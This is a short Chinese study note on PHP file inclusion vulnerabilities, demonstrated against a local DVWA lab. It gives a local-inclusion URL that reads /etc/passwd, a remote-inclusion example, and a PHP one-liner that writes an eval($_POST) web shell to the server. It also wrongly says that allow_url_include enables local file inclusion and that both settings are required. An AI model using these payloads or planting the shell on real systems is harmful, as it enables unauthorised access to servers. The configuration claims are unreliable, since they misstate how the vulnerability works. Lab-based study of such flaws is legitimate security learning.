今天学习了文件包含漏洞经过网上各种查找,总结了一下,顺便记录下来.
文件包含所使用的几个php函数
include 这个函数可以在php包含另外一个网页,如果出错继续向下执行
require 这个函数也是包含另一个网页,和include不同的就是它出错后停止运行
include_once 这个函数和include没有太大区别就是包含一个网页后,遇到同样的网页后不会继续包含
require_once 这个函数和上面一个的函数一个用处
简单来说文件包含分为远程文件包含和本地文件包含,本地文件包含顾名思义,是读取服务器本地文件,通过这个只要权限允许可以读取到文件敏感内容.以DVWA 来示范url栏如下:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/passwd
远程文件包含简单来说就是可以让网站读取其他网站上的txt文件,php文件之类的.并且以php来执行.如下
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=127.0.0.1/phpinfo.txt
成功执行php.info函数.
文件包含必须使用的php配置参数:
allow_url_fopen 远程文件包含
allow_url_include 本地文件包含
文件包含的判断方法:
查看url栏是否存在可疑参数比如:
page?1.php
文件包含漏洞利用:
配合php直接写shell:
<?php fputs(fopen("test.php","w"),"<?php eval(\$_POST[zxcv]);?>");?>
读取服务器敏感信息:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/passwd